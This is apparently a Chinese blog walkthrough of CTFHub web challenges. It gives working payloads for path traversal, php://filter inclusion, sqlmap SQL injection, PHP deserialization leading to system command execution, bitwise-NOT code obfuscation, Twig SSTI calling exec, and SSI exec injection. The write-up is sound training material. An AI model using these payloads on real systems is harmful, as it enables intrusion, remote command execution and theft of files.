CTFHub Web真题(3星-6星)

三星难度

afr-2(nginx目录穿越)

nginx配置问题导致存在目录穿越
https://blog.csdn.net/nzjdsds/article/details/97624122
直接访问/img…/flag即可得到flag

afr-1(文件包含php://filter)

提示文件包含
输入hello 回显hello world!
输入flag 回显no no no
又试了几个输入无回显
可以猜测输入的内容添加了后缀后读取文件内容
采用
php://filter/read=convert.base64-encode/resource=flag
成功读取flag.php内容
在这里插入图片描述
解码后得到flag
n1book{afr_1_solved}

checkin(Base64)

扫目录只扫出了index.php一个页面,抓取响应包发现有flag字段
在这里插入图片描述
base64解码后得到flag
在这里插入图片描述

四星难度

random(null爆破)

抓取请求报文后发送至爆破模块,选择不设置payload单纯重放报文
在这里插入图片描述
可以看到成功碰撞出结果
在这里插入图片描述

injection(SQL注入)

手工测试
and 1=1显示正常,and 1=2不显示,and 1=2-1显示正常可判断为数字型的布尔盲注
直接sqlmap跑起
python sqlmap.py -u http://challenge-9c3b6bff068d508a.sandbox.ctfhub.com:10080/index.php?id=1 -technique=B --tables
获得表名为flag
python sqlmap.py -u http://challenge-9c3b6bff068d508a.sandbox.ctfhub.com:10080/index.php?id=1 -technique=B --columns -T flag --thread 10
获得列名为flag
python sqlmap.py -u http://challenge-9c3b6bff068d508a.sandbox.ctfhub.com:10080/index.php?id=1 -technique=B -C flag -T flag --dump --thread 10
得到flag
在这里插入图片描述

warmup(文件包含绕过)

响应报文中提示source.php
在这里插入图片描述
访问后获得源码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

过滤机制:

  1. page不为空且为字符串形式
  2. 白名单判断
  3. _page为page调用mb_substr返回的结果
  4. 白名单判断
  5. _page进行url解码 解码后再次进行mb_substr
  6. 白名单判断

三次判断中只要有一次符合条件就会返回true进行文件包含操作
每次mb_substr都会调用mb_strpos(_page末尾拼接一个?,返回_page第一次出现?的位置)
可以通过这种形式过白名单file=hint.php?flag文件
根据hint.php中的提示flag位置在ffffllllaaaagggg文件中
由于不知道flag在哪个目录 所以需要不断添加…/测试
最终的payload为
file=hint.php?../../../../../ffffllllaaaagggg

逆转思维(伪协议+反序列化)

进入页面获得源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

三个参数text,file,password
其中file_get_contents中text作为路径,读取出的内容必须为welcome to the zjctf才可以进入第一个if语句
采用php://input配合请求体中的内容绕过
在这里插入图片描述
在这里插入图片描述
第二个参数file文件包含可以通过php://filter绕过
/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
成功得到useless.php的base64源码

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解码后

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

最后一个参数password为序列化后的Flag对象,file属性等于flag.php
在这里插入图片描述
最终的payload:
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在这里插入图片描述

五星难度

粗心的小李(git泄露)

git泄露问题,直接使用Githack工具进行clone
python2 GitHack.py -u http://challenge-db4ac7021d47f89c.sandbox.ctfhub.com:10080/.git
clone后打开index.html得到flag
在这里插入图片描述

SQL注入-1(字符布尔)

对id进行简单的fuzz
在这里插入图片描述
发现以参数可以被'截断,通过截断后的逻辑表达式(1’ and 1=‘1 或者 1’ and 2='1)页面会呈现内容或者空白两种形式,所以可以判断为字符型的布尔盲注
sqlmap语句
python sqlmap.py -u http://challenge-3c077f85261fcd4b.sandbox.ctfhub.com:10080/index.php?id=1 --technique B --thread 10
在这里插入图片描述
依次爆出表名,列名,最后dump数据
python sqlmap.py -u http://challenge-3c077f85261fcd4b.sandbox.ctfhub.com:10080/index.php?id=1 --technique B --thread 10 --tables --exclude-sysdbs
在这里插入图片描述
python sqlmap.py -u http://challenge-3c077f85261fcd4b.sandbox.ctfhub.com:10080/index.php?id=1 --technique B --thread 10 -D note -T fl4g --columns
在这里插入图片描述
python sqlmap.py -u http://challenge-3c077f85261fcd4b.sandbox.ctfhub.com:10080/index.php?id=1 --technique B --thread 10 -D note -T fl4g -C fllllag --dump
在这里插入图片描述

常见的收集(目录扫描)

直接用dirsearch扫描
python dirsearch.py -u http://challenge-aa0d6caf296b1fe2.sandbox.ctfhub.com:10080 -e php
发现三个敏感信息文件
robots.txt
flag1:n1book{info_1
index.php~
flag2:s_v3ry_im
index.php.swp
flag3:p0rtant_hack}
拼起来即flag
n1book{info_1s_v3ry_imp0rtant_hack}

weakphp(弱类型漏洞+md5)

一开始以为是SQL注入测试无果后尝试爆破发现存在git泄露问题,直接用Githack clone文件。
得到主页面的源码

<?php
require_once "flag.php";
if (!isset($_GET['user']) && !isset($_GET['pass'])) {
    header("Location: index.php?user=1&pass=2");
}

$user = $_GET['user'];
$pass = $_GET['pass'];
if ((md5($user) == md5($pass)) and ($user != $pass)){
    echo $flag;
} else {
    echo "nonono!";
}
?>

可以看出要求user,pass两个参数的值不相同,但md5运算后的结果相同(==而不是===)。需要用到php弱类型漏洞

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么这两个字符串时会被认为是科学计算法的数字。先经过一次字符向数字转换的过程再比较大小,而转换时0的多少次方都是0 故php会判断两个字符串相同。

以下值在md5加密后以0E开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a

从中选取两个即可满足要求
?user=QNKCDZO&pass=s214587387a
也可以通过数组绕过
?user[]=1&pass[]=2
弱类型的一些总结
PHP弱类型及一些绕过方式
PHP弱类型比较

Fast Running(条件竞争)

根据题目的名字就可以猜到可能与条件竞争有关
进入页面后可以修改密码但是修改成功的密码无法登陆
所以考虑同时发起修改密码登陆两个请求进行爆破
在这里插入图片描述

在这里插入图片描述

六星难度

hate_php(php7代码注入混淆)

进入页面可以看到源码

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

先对敏感特殊字符进行正则匹配。又对黑名单函数进行查找,其中黑名单函数为get_defined_functions获取的所有已经定义的internal函数。
如果不包含敏感字符和黑名单函数就可以assert执行传入的字符串。

首先绕过敏感字符的限制,从flag.ph这几个字符中可以推断出flag很可能在flag.php中。
把所有函数都过滤的情况考虑采用异或以及取反等混淆方式生成可执行的php代码字符串。通过php7的新特性(“字符串”)()执行代码。
采用取反的方式生成payload,其中highlight_file可替换为任意读取文件函数

$str = urlencode(~'highlight_file');
echo $str."<br>";
// %97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A
$str2 = urlencode(~'flag.php');
echo $str2."<br>";
// %99%93%9E%98%D1%8F%97%8F
$payload = "("."~".$str.")"."("."~".$str2.")";
echo $payload;
// (~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)

在这里插入图片描述

phpweb(call_user_func+反序列化)

进入题目后查看源码,每隔5s会提交一次表单,表单有两个参数funcp,提交的参数值为

func=date&p=p=Y-m-d h:i:s a

在这里插入图片描述
测试代码

<?php
$date = date("Y-m-d+h:i:s+a");
echo $date;
?>

显示当前系统的时间
在这里插入图片描述
可以判断报文中第一个传入的参数fun执行函数名第二个参数p函数参数
于是传入func=file_get_contents&p=index.php尝试读取源码

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
      "escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
      "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
      "array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
    );
    function gettime($func, $p) {
      $result = call_user_func($func, $p);
      $a= gettype($result);
      if ($a == "string") {
        return $result;
      } else {
        return "";
      }
    }
    class Test {
      var $p = "Y-m-d h:i:s a";
      var $func = "date";
      function __destruct() {
        if ($this->func != "") {
          echo gettime($this->func, $this->p);
        }
      }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
    if ($func != null) {
      $func = strtolower($func);
      if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
      }else {
        die("Hacker...");
      }
    }
  ?>

源码的内容为获取传入的fun和p值,如果传入的fun不在黑名单中,则通过gettime函数执行。结果为string类型时回显到页面上。

call_user_func ( callable $callback , mixed $parameter = ? , mixed $… = ? ) : mixed
call_user_func — 把第一个参数作为回调函数调用

可以如果直接传入函数名和参数,黑名单过滤了所有常用的执行函数所以可以考虑传入反序列化字符串,通过反序列化过程触发Test类的__destruct()方法绕过黑名单检测。

$test = new Test();
$test->func = "system";
$test->p = "ls";
echo serialize($test);
// O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

在这里插入图片描述
网页目录下没有flag文件,去根目录下寻找

$test->p = "ls /";
echo serialize($test);
// O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

在这里插入图片描述
最后读取文件

$test->p = "cat /flag_303356179";
echo serialize($test);
// O:4:"Test":2:{s:1:"p";s:19:"cat /flag_303356179";s:4:"func";s:6:"system";}

在这里插入图片描述

AreUSerialz(php7.1反序列化protected属性)

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

通过源码可以看出,本题传入一个序列化字符串然后执行反序列化操作。其中传入的字符串中每个字符都必须在ascii码32-125范围中即可显示字符。
触发读取文件操作
通过检查后反序列化操作后会触发__destruct(),首先比较op参数是否等于"2",如果等于"2"则修改为"1"。从process源码中可看出当op等于"2"时可以读取filename指向的文件,所以通过op为整数2绕过__destruct()的比较,再通过process弱类型比较达到读取文件的效果。
现在触发读取的操作已经完成,但是FileHandler类中三个变量均为protected属性在序列化过程中会有%00*%00字符,url解码后ascii码为1(如图所示)无法通过is_valid函数的检验。
在这里插入图片描述
绕过protect属性反序列化空字符
php7.1+对类属性的检测不严格,可以修改属性为public来进行序列化。

<?php
class FileHandler {
    public $op=2;
    public $filename="flag.php";
    public $content;
}

$obj = new FileHandler();
echo serialize($obj);
?>

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
输入payload后不显示,更改为index.php后可以正常读取
可能对flag.php做了过滤,考虑用php://filter以base64编码读取
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
在这里插入图片描述
解码后得到flag

Cookie is so subtle!(回显Twig SSTI)

进入题目有三个页面分别为index.php,flag.php,hint.php
提示注意cookie字段,三个页面只有flag.php有可控字段
输入任何字段都会回显,且cookie中增加了Name字段
在这里插入图片描述
有两种思路第一种为输入的内容储存在了数据库可能存在SQL注入,通过fuzz和sqlmap都没有测试出来。第二种是考虑到回显一般与XSS或者SSTI漏洞有关,XSS在CTF中出现频率比较低。测试输入{{7*7}}发现回显49所以存在SSTI。
在这里插入图片描述
用上面这张比较经典的图可以判断出为Twig模板注入
采用如下payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat \flag.php")}}
在这里插入图片描述
得到flag
在这里插入图片描述

easy_search(swp泄露+shmtl ssi注入)

尝试了几次输入都会alert(fail)
sqlmap和dirsearch都跑了一遍,发现了index.php.swp文件泄露

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

源码中可以看出当md5(password)前六位为6d0bc1,会向文件中写入username的内容
首先写一个脚本碰撞出前六位满足条件的password值

if __name__ == '__main__':
    for i in range(10000000):
        hash_obj =hashlib.md5(str(i).encode("utf-8"))
        digest = hash_obj.hexdigest()
        if digest[0:6] == "6d0bc1":
            print(i)
            break
# 2020666

向文件中写入内容

<?php phpinfo();?>

访问文件内容
在这里插入图片描述
搜索下shtml相关内容
在这里插入图片描述在这里插入图片描述
发现可以通过ssi指令去直接命令执行

SSI指令基本格式:
<!-– 指令名称=“指令参数”–> 如

最后的payload:
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
在这里插入图片描述

just_escape(nodejs vm2逃逸)

just_escape题解记录

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值